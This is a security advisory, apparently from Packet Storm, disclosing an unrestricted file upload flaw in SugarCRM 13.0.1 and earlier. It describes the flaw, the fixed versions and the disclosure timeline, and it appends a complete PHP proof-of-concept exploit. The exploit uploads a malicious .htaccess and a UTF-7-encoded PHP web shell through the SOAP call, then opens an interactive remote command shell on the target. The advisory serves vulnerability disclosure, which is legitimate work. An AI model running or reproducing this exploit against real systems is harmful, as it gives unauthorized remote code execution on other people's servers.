SugarCRM versions 13.0.1 and below suffer from a remote shell upload vulnerability in the set_note_attachment SOAP call.
-------------------------------------------------------------------------------
SugarCRM <= 13.0.1 (set_note_attachment) Unrestricted File Upload
Vulnerability
-------------------------------------------------------------------------------
[-] Software Link:
https://www.sugarcrm.com
[-] Affected Versions:
Version 13.0.1 and prior versions.
Version 12.0.3 and prior versions.
[-] Vulnerability Description:
When handling the "set_note_attachment" SOAP call, the application
allows uploading of
any kind of file into /upload/ directory. This one is protected by the
main SugarCRM
.htaccess file, i.e. it doesn't allow access/execution of PHP files.
However, this
behavior can be overridden if the subdirectory contains another
.htaccess file.
So, an attacker can leverage the vulnerability to firstly upload a new
.htaccess
file and then to upload the PHP code they want to execute.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/KIS-2023-11.php
(Packet Storm note: POC included at bottom)
[-] Solution:
Upgrade to version 13.0.2, 12.0.4, or later.
[-] Disclosure Timeline:
[23/04/2023] - Vendor notified
[21/09/2023] - Fixed versions released
[06/10/2023] - CVE identifier requested
[26/10/2023] - Publication of this advisory
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has not assigned a CVE identifier for this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-11
[-] Other References:
https://support.sugarcrm.com/resources/security/sugarcrm-sa-2023-011/
--- KIS-2023-11.php poc ---
<?php
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[+] cURL extension required!n");
if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>n");
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];
print "[+] Logging in with username '{$user}' and password '{$pass}'n";
$ch = curl_init();
$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!n");
print "[+] Creating new Notes bean (ID: .htaccess)n";
$note_id = ".htaccess";
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));
if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!n");
print "[+] Creating new Notes bean (ID: sh.php)n";
$note_id = "sh.php";
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));
if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!n");
require_once("./lib/nusoap.php");
$client = new nusoap_client("{$url}soap.php", false);
if (($err = $client->getError()))
{
echo "nConstructor error: $err";
echo "nDebug: " . $client->getDebug() . "n";
die();
}
print "[+] Sending SOAP login requestn";
$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];
$session = $client->call('login', $params);
if ($session['id'] == -1) die("[+] SOAP login failed!n");
print "[+] Uploading .htaccess through 'set_note_attachment'n";
$htaccess = "RewriteEngine onnRewriteBase /uploadnRewriteRule ^(.*)$ - [L]nphp_flag zend.multibyte 1nphp_value zend.script_encoding "UTF-7"";
$params = ["session" => $session['id'], "note" => ["id" => ".htaccess", "file" => base64_encode($htaccess)]];
$client->call("set_note_attachment", $params);
print "[+] Uploading shell through 'set_note_attachment'n";
$shell = "+ADw?php passthru($_SERVER['HTTP_CMD']); ?>";
$params = ["session" => $session['id'], "note" => ["id" => "sh.php", "file" => base64_encode($shell)]];
$client->call("set_note_attachment", $params);
print "[+] Launching shelln";
curl_setopt($ch, CURLOPT_URL, "{$url}upload/sh.php");
while(1)
{
print "nsugar-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd]);
($r = curl_exec($ch)) ? print $r : die("n[+] Exploit failed!n");
}